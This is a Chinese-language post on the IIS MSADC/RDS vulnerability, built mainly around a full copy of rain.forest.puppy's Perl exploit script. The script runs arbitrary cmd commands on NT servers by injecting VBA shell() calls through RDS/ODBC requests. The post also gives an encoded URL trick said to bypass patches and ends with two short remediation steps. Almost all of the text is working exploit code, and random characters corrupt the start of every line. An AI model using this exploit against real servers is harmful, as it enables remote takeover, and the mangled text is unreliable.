IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
=} `d D\Ak-$kJ^ 涉及程序：
QL/KY G Microsoft NT server
A[Mke t? GH
V3V 描述：
Z1
D 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
u"v7shRp: G^c,i5}w 详细：
v
Y[s#*+ 如果你没有时间读详细内容的话，就删除:
I=0c\ U} c:\Program Files\Common Files\System\Msadc\msadcs.dll
\OwF! ~& 有关的安全问题就没有了。
Unk /uk F9r.DG$} 微软对关于Msadc的问题发了三次以上的补丁，仍然存在问题。
&6x(%o| g*V.u]U!i 1、第一次补丁，基本上，其安全问题是MS Jet 3.5造成的，它允许调用VBA shell()函数，这将允许入侵者远程运行shell指令。
(T%F^s5D 关于利用ODBC远程漏洞的描述，请参看:
1q}L O2 V:n0 BlZ,B http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm OI blBQ! Lw >B:3e 2、IIS 4.0的缺省安装设置的是MDAC1.5，这个安装下有一个/msadc/msadcs.dll的文件，也允许通过web远程访问ODBC，获取系统的控制权，这点在很多黑客论坛都讨论过，请参看
[6!k:-t+ http://www.microsoft.com/security/bulletins/MS99-025faq.asp }t)+eSUA Fw<"]*iu 这里不再论述。
-b-a2 1,m> .zO^"mXjS 3、如果web目录下的/msadc/msadcs.dll/可以访问，那么ms的任何补丁可能都没用，用类似:
7>yd +A3/^C0 /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
yYCS-rF> 的请求，就可以绕过安全机制进行非法的VbBusObj请求，从而达到入侵的目的。 下面的代码仅供测试，严禁用于非法用途，否则后果自负!!!
'UhoKb_p 8M5)fDu*? Ydh Tjv x #将下面这段保存为txt文件，然后: "perl -x 文件名"
r[L.TX3Ah= sVFO&|L #!perl
P#O" {+` #
b'z
$S+ # MSADC/RDS 'usage' (aka exploit) script
UsE\p9mCuV #
{T4_Xn -I # by rain.forest.puppy
7
Lm9I #
:5k* kx#y # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
Sy8t2lk # beta test and find errors!
=3bk=vy !l 'nX use Socket; use Getopt::Std;
|;gx;qp4cN getopts("e:vd:h:XR", \%args);
EG{+Sz Ng #psN print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
B"4 3o7C lx`?n<-X if (!defined $args{h} && !defined $args{R}) {
_^ <vp print qq~
Cd%5XD^ Usage: msadc.pl -h <host> { -d <delay> -X -v }
"hyf o,r -h <host> = host you want to scan (ip or domain)
tiK M+
;C -d <seconds> = delay between calls, default 1 second
bQaRl=:[: -X = dump Index Server path table, if available
Jq_\r' YE -v = verbose
S@,/$L -e = external dictionary file for step 5
)PN8HJAArh @yTu/U Or a -R will resume a command session
ZdW+=;/# TK5$-6k ~; exit;}
K$S0h-?9]O
M^kaik $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
Za@\ =}Tt if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
|O8e;v72g^ if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
0LQRQuh1 if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
a
,mgM&yD $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
} 9@rhW if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
^%\a,~ kepuh%KY[
if (!defined $args{R}){ $ret = &has_msadc;
().C die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
x^y$ pr khX/xL print "Please type the NT commandline you want to run (cmd /c assumed):\n"
st w@@GQ . "cmd /c ";
0}i
9`p $in=<STDIN>; chomp $in;
lU1SN/'zx $command="cmd /c " . $in ;
+Nn >*sz >@N.jw>#T if (defined $args{R}) {&load; exit;}
1]} \ h]* ]5'*^rz ^ print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
_c]}m3/ &try_btcustmr;
=-dnniKW4 DF r$2Y3H print "\nStep 2: Trying to make our own DSN...";
Zr}>>aIJ]k &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
amsl>wc! 11PL1zzH print "\nStep 3: Trying known DSNs...";
D4$b-?y &known_dsn;
%<yW(s9{ \%r#>8c8 print "\nStep 4: Trying known .mdbs...";
r'i99 ~ &known_mdb;
/M5.Z~|/ &OU.BR > if (defined $args{e}){
-l=C7e print "\nStep 5: Trying dictionary of DSN names...";
%jAc8~vW? &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
U#f* I]ej ]46K print "Sorry Charley...maybe next time?\n";
L`t786
(M exit;
)QAYjW!Z lr&2,p< ##############################################################################
AG >D,6Y ~cr iZI/ sub sendraw { # ripped and modded from whisker
X0*+]tRg sleep($delay); # it's a DoS on the server! At least on mine...
orJ|Q3c)d my ($pstr)=@_;
;8H&FsR socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
C?. ;3 h die("Socket problems\n");
=o@}~G&HA if(connect(S,pack "SnA4x8",2,80,$target)){
a Mqt2{f+ select(S); $|=1;
!KV!Tkx h print $pstr; my @in=<S>;
k2 Q[v select(STDOUT); close(S);
R5sEQ| E return @in;
(0`rfYv5.R } else { die("Can't connect...\n"); }}
p uOMtCI .3EEi3z6z ##############################################################################
3g7] $ } 1 =]#=)+ sub make_header { # make the HTTP request
$bp'b<jx my $msadc=<<EOT
D u<P^CE POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
~Dg:siw User-Agent: ACTIVEDATA
@.e4~qz\ Host: $ip
42 `Uq[5Y Content-Length: $clen
iu{y.}? Connection: Keep-Alive
py$Gy-I~[ GUQ3XF\ ADCClientVersion:01.06
]`- o\,lq Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
jzi%[c<G *r>Y]VG;S --!ADM!ROX!YOUR!WORLD!
1dr g5 Content-Type: application/x-varg
bP:u`!p
-i Content-Length: $reqlen
1mV
'
~W X' d\b}Bm EOT
Fmn_fW 6 ; $msadc=~s/\n/\r\n/g;
tdU'cc?M return $msadc;}
qLBQ!>lR
8Ogg(uS70' ##############################################################################
Ez
<YD kU:Q&[/jzH sub make_req { # make the RDS request
jhT/} "v my ($switch, $p1, $p2)=@_;
z%fjG} z my $req=""; my $t1, $t2, $query, $dsn;
i (r Yc ?(s9dS,7wZ if ($switch==1){ # this is the btcustmr.mdb query
|QrVGm@2 $query="Select * from Customers where City=" . make_shell();
!le#7Kii $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
Lh+7z>1 $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
)~)T[ S kb-XEJ}L elsif ($switch==2){ # this is general make table query
: |l0x a $query="create table AZZ (B int, C varchar(10))";
1xx TI{'g[ $dsn="$p1";}
@V4nc
'o. JA > &$h elsif ($switch==3){ # this is general exploit table query
ILG&l<!E $query="select * from AZZ where C=" . make_shell();
B Dp(&=ktq $dsn="$p1";}
axG%@ 5 ddYb=L+_b elsif ($switch==4){ # attempt to hork file info from index server
B <Jxj $query="select path from scope()";
RCkmxO;b& $dsn="Provider=MSIDXS;";}
<MxA;A }2=~7& ) elsif ($switch==5){ # bad query
({4?RtYm $query="select";
s]vsD77& $dsn="$p1";}
k]4CN z'Bvjul $t1= make_unicode($query);
|}l/6WHB $t2= make_unicode($dsn);
`[=/f=Q} $req = "\x02\x00\x03\x00";
1\TkI=N3 $req.= "\x08\x00" . pack ("S1", length($t1));
B
\V ;{: $req.= "\x00\x00" . $t1 ;
c3fd6 Je5 $req.= "\x08\x00" . pack ("S1", length($t2));
rl"yE= $req.= "\x00\x00" . $t2 ;
/0L]Pf; $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
_Wp,
z` return $req;}
Nj;(QhYZ g 6q[
I8 ##############################################################################
j1JdG<n } BP.t$_ sub make_shell { # this makes the shell() statement
r*7J#M / return "'|shell(\"$command\")|'";}
jJ>I*'w NR^Z#BU ##############################################################################
&sq q+&ao CS^|="Zs sub make_unicode { # quick little function to convert to unicode
X?8bb! g%Q my ($in)=@_; my $out;
(!ud"A|ab4 for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
&WbHM)_n return $out;}
UuJ gB) 8LtkP&Wx ##############################################################################
Lz- (1~o Or1ik I" sub rdo_success { # checks for RDO return success (this is kludge)
<t *3w my (@in) = @_; my $base=content_start(@in);
yW YsN if($in[$base]=~/multipart\/mixed/){
-z/>W+k return 1 if( $in[$base+10]=~/^\x09\x00/ );}
xG%O ^ return 0;}
6.v)q ,JL e ~G IUwJ ##############################################################################
_T^@,!& En +`ZcA\z sub make_dsn { # this makes a DSN for us
}g.)%Bw ! my @drives=("c","d","e","f");
m] ++
! print "\nMaking DSN: ";
M4XU*piz foreach $drive (@drives) {
btf]~YN print "$drive: ";
9@(V!G my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
l%cE o`U "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
yV@~B;eW0 . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
xqVIw!J?/} $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
;>p{|^X0D return 0 if $2 eq "404"; # not found/doesn't exist
uoY]@. if($2 eq "200") {
U_0"1+jbq foreach $line (@results) {
Yv;iduc(' return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
k1^&;}/f: } return 0;}
F-?s8RD -1F+,+m ##############################################################################
cj3P]2B# }
AHR7mu= sub verify_exists {
Daf;;
w my ($page)=@_;
~<_P jV my @results=sendraw("GET $page HTTP/1.0\n\n");
~
Q;qRx return $results[0];}
~ EhM"go r^"pLzA x ##############################################################################
!uHVg(} ID=^497
sub try_btcustmr {
tw]Q5:6 my @drives=("c","d","e","f");
^X?3e1om my @dirs=("winnt","winnt35","winnt351","win","windows");
c (S66lp >x1?t foreach $dir (@dirs) {
P_c9v/ print "$dir -> "; # fun status so you can see progress
.ktyA+r8v foreach $drive (@drives) {
_E[)_yH'- print "$drive: "; # ditto
z`@|v~i0` $reqlen=length( make_req(1,$drive,$dir) ) - 28;
SxRa?5 $reqlenlen=length( "$reqlen" );
>]8H@. \ $clen= 206 + $reqlenlen + $reqlen;
*+cW)klm &14Er,K my @results=sendraw(make_header() . make_req(1,$drive,$dir));
%,5_]bGvb
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
*p %=u>?& else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
8DJoQl9 TqXB2`7Ri ##############################################################################
t'P n* =I9RM 9O< sub odbc_error {
n#5%{e> my (@in)=@_; my $base;
Q K/~lN my $base = content_start(@in);
F Ad4p9[Y if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
[[0u|`T/ $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
$> PV6 $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
||kUi=5 $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
| Xk>a 7X return $in[$base+4].$in[$base+5].$in[$base+6];}
o dpjEeQC print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
vZt48g
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
>*goDtTjp $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
0W >,RR) ?,x 3*'-( ##############################################################################
w57D qG> L(qQ,1VY sub verbose {
8d"Ff my ($in)=@_;
0h~7 "qUF@ return if !$verbose;
3,-xk!W$L print STDOUT "\n$in\n";}
jG &gd <^ Tf?|*P ##############################################################################
3It9|Y"6[ ' e06QMp@ sub save {
]eZrb%B . my ($p1, $p2, $p3, $p4)=@_;
R<x~KJ1 1c open(OUT, ">rds.save") || print "Problem saving parameters...\n";
pbePxOG print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
=?g B@vS close OUT;}
OB5`a,5dI 6` @4i'. ##############################################################################
%oE3q>S$en r5g:#mF" sub load {
#Rcb
iV*M my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
Ves
x$!F# open(IN,"<rds.save") || die("Couldn't open rds.save\n");
5ki<1{aVtZ @p=<IN>; close(IN);
^8e u+E.{ $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
6Z3L=j $target= inet_aton($ip) || die("inet_aton problems");
j LG
Q^v" print "Resuming to $ip ...";
a$ FO5%o $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
VsM ~$
) if($p[1]==1) {
V
t@] $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
;4ETqi9 $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
m<u BRI*I my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
" WE*ED if (rdo_success(@results)){print "Success!\n";}
(7_}UT@ w- else { print "failed\n"; verbose(odbc_error(@results));}}
3 c.,T elsif ($p[1]==3){
aaODj> if(run_query("$p[3]")){
V 1Opp8 print "Success!\n";} else { print "failed\n"; }}
)C fk/OnRd elsif ($p[1]==4){
TmIw?#q^ if(run_query($drvst . "$p[3]")){
:N
~A7@ print "Success!\n"; } else { print "failed\n"; }}
L 1J~D?q exit;}
Y<0R5rO . 8EaFEd ##############################################################################
XIJW$CY UiLi y?EJ sub create_table {
5ps7)] my ($in)=@_;
B6#^ a $reqlen=length( make_req(2,$in,"") ) - 28;
J}'a|a@bk $reqlenlen=length( "$reqlen" );
X1PXX!]lo[ $clen= 206 + $reqlenlen + $reqlen;
oF0BBs$ my @results=sendraw(make_header() . make_req(2,$in,""));
p`-Oz] return 1 if rdo_success(@results);
ic(`E v my $temp= odbc_error(@results); verbose($temp);
(!B1} 5" return 1 if $temp=~/Table 'AZZ' already exists/;
nkn4VA?" return 0;}
u#"L gG.X &n yJ :? ##############################################################################
AeN$AqQd/ \=NS@_t, sub known_dsn {
*kE<7 # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
51&K my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
7 8fFAN` "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
hiQ #< "banner", "banners", "ads", "ADCDemo", "ADCTest");
FLzC kzJ:6 qPG>0
O foreach $dSn (@dsns) {
\x9.[?;=e print ".";
K~ob]I<GiB next if (!is_access("DSN=$dSn"));
|qFCzK9tD/ if(create_table("DSN=$dSn")){
}5qpiS"V9 print "$dSn successful\n";
VW/ICX~"d if(run_query("DSN=$dSn")){
&K.js print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
yrVk$k#6} print "Something's borked. Use verbose next time\n";}}} print "\n";}
vQ",rP% 7U, [Ruu ##############################################################################
\]= ''C=J Z& W*@(dX sub is_access {
kt;uB
X3 my ($in)=@_;
}a?( }{z- $reqlen=length( make_req(5,$in,"") ) - 28;
X&14;lu%p $reqlenlen=length( "$reqlen" );
y}bliN7;1e $clen= 206 + $reqlenlen + $reqlen;
O~
]3 .b my @results=sendraw(make_header() . make_req(5,$in,""));
y8a rFG my $temp= odbc_error(@results);
y1c2(K>tu verbose($temp); return 1 if ($temp=~/Microsoft Access/);
+l) [A{ return 0;}
#M~ 6A^) a*(,ydF|L ##############################################################################
{|D7H=f 8%Eau wAx sub run_query {
]u<8j r my ($in)=@_;
)~[rb<:)b $reqlen=length( make_req(3,$in,"") ) - 28;
V|W[>/ $reqlenlen=length( "$reqlen" );
h1A Z+9 $clen= 206 + $reqlenlen + $reqlen;
/c:78@ my @results=sendraw(make_header() . make_req(3,$in,""));
J=sj+: GS return 1 if rdo_success(@results);
_ ,~D]JYE my $temp= odbc_error(@results); verbose($temp);
O.Xhi+ return 0;}
O=;}VZ<9 _my!YS5n ##############################################################################
.Gq]Mrim9G ews{0 sub known_mdb {
A$o7<Hx my @drives=("c","d","e","f","g");
0wnC"2GUX my @dirs=("winnt","winnt35","winnt351","win","windows");
7Z [6_WD3 my $dir, $drive, $mdb;
h51)kN: my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
O@-|_N*;K Sxzt |{ # this is sparse, because I don't know of many
'74*- y d my @sysmdbs=( "\\catroot\\icatalog.mdb",
*)u%K YGr "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
p%ZOLoc)Y "\\system32\\certmdb.mdb",
RHv|i jYy "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
DT#F?@LG( m:x<maP# E my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
mP[Z lS~" "\\cfusion\\cfapps\\forums\\forums_.mdb",
/JbO $A "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
q)rxv7Iu\ "\\cfusion\\cfapps\\security\\realm_.mdb",
Mv\]uAT` "\\cfusion\\cfapps\\security\\data\\realm.mdb",
jWNF3\ "\\cfusion\\database\\cfexamples.mdb",
K zW qHq "\\cfusion\\database\\cfsnippets.mdb",
gO%o A} !i "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
p|9Eue3j2 "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
%s* F~E "\\cfusion\\brighttiger\\database\\cleam.mdb",
ZXH{9hxd "\\cfusion\\database\\smpolicy.mdb",
yp
l`vJ]X "\\cfusion\\database\cypress.mdb",
n>k 1 D "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
-ztgirU "\\website\\cgi-win\\dbsample.mdb",
_oAWj]~rO "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
%D6HY^]ayw "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
Bh
,GQHJ ); #these are just
X-k$6}D foreach $drive (@drives) {
Mp,aQ0bNS foreach $dir (@dirs){
%k i^XB86 foreach $mdb (@sysmdbs) {
!si}m~K!_ print ".";
1.IEs:( ; if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
He)vl. print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
9gQ
]!Oq if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
T7# }& > print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
,%<ICusZ } else { print "Something's borked. Use verbose next time\n"; }}}}}
fq4 [/%6,O h;DLD8L foreach $drive (@drives) {
w
tSX(LN Y foreach $mdb (@mdbs) {
n =qu?xu print ".";
|!hN !j*) if(create_table($drv . $drive . $dir . $mdb)){
+
C'<* print "\n" . $drive . $dir . $mdb . " successful\n";
Lm1
- if(run_query($drv . $drive . $dir . $mdb)){
ESi'3mbeC print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
/Xf_b.ZM& } else { print "Something's borked. Use verbose next time\n"; }}}}
#f T< ]j( }
JrNqS[c/ |{V@t1` ##############################################################################
7&w$@zs87 kG>m(n sub hork_idx {
wrm
R eT? print "\nAttempting to dump Index Server tables...\n";
/ ei(Q'pc[ print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
6x iCTs0@ $reqlen=length( make_req(4,"","") ) - 28;
N'n\_ x $reqlenlen=length( "$reqlen" );
:878q TB $clen= 206 + $reqlenlen + $reqlen;
KvY1bMU! my @results=sendraw2(make_header() . make_req(4,"",""));
*|Bt! if (rdo_success(@results)){
J u"K" my $max=@results; my $c; my %d;
Lpv,6#m`) for($c=19; $c<$max; $c++){
')zf8>, $results[$c]=~s/\x00//g;
S'} pUGDO $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
t
.-%@,s $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
V)jF]u~g $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
E'+?7ZGWj $d{"$1$2"}="";}
Zonr/sA ~ foreach $c (keys %d){ print "$c\n"; }
IutU ~%wv } else {print "Index server doesn't seem to be installed.\n"; }}
/zg|I?$>Z4 L['g')g. ##############################################################################
* _@t$W Ex -?[Hq sub dsn_dict {
1+v!)Y>Z& open(IN, "<$args{e}") || die("Can't open external dictionary\n");
H$rNT/C while(<IN>){
lN~u=' Kc $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
z$Z{ LR
next if (!is_access("DSN=$dSn"));
@FaK/lKK if(create_table("DSN=$dSn")){
k7)<3f3&S. print "$dSn successful\n";
'mYUAVmSC# if(run_query("DSN=$dSn")){
F2!]T = print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
^,{ r[} print "Something's borked. Use verbose next time\n";}}}
3A!Qu$r9 print "\n"; close(IN);}
TrR=3_;.7 cm17hPe`}n ##############################################################################
e N^6gub K9QC$b9( sub sendraw2 { # ripped and modded from whisker
WPDi)U X sleep($delay); # it's a DoS on the server! At least on mine...
;D|g5$OE& my ($pstr)=@_;
EYS BC", socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
:CGh$d] + die("Socket problems\n");
Ci$?Hm 9 n if(connect(S,pack "SnA4x8",2,80,$target)){
bsv!z\} print "Connected. Getting data";
]S7>=S open(OUT,">raw.out"); my @in;
NudY9 ~ select(S); $|=1; print $pstr;
yn|U<Hxl~H while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
@M!nAQ8hY close(OUT); select(STDOUT); close(S); return @in;
M$Ow*!DfP } else { die("Can't connect...\n"); }}
.f-s+J&ED }9~U5UXWU ##############################################################################
c1ptN L "5;< sub content_start { # this will take in the server headers
se*!OiOt my (@in)=@_; my $c;
2Dw}o;1' for ($c=1;$c<500;$c++) {
X}ft7;Jpy if($in[$c] =~/^\x0d\x0a/){
D9%t67s if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
) QW
p[bV else { return $c+1; }}}
ZmAo9>'Kg return -1;} # it should never get here actually
@ n^2UJ q{uv ?{I ##############################################################################
;(
[^ +_/ a[ yyEgm2 sub funky {
y`a]##1j$M my (@in)=@_; my $error=odbc_error(@in);
mGh8/X t if($error=~/ADO could not find the specified provider/){
V6kJoSyde print "\nServer returned an ADO miscofiguration message\nAborting.\n";
I78Q8W(5 exit;}
1 otE:bi if($error=~/A Handler is required/){
UId?a} J print "\nServer has custom handler filters (they most likely are patched)\n";
?)2; W exit;}
$ Gs|Z$( if($error=~/specified Handler has denied Access/){
cv"Bhql print "\nServer has custom handler filters (they most likely are patched)\n";
`]4tJJy$ exit;}}
\{. c 0 Vc!'=&* ##############################################################################
wxE'h~+ NX8.
\Pf# sub has_msadc {
>D_!d@Z my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
Q(jIqY1Hf my $base=content_start(@results);
:aR_f`KMm return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
@dc4v_9 return 0;}
{r?+PQQ# L0> 7v ########################
WZ N0`Od <lP5}F87 >!PCEw<i 解决方案：
p%-;hL! 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
wUKt$_]`` 2、移除web 目录: /msadc
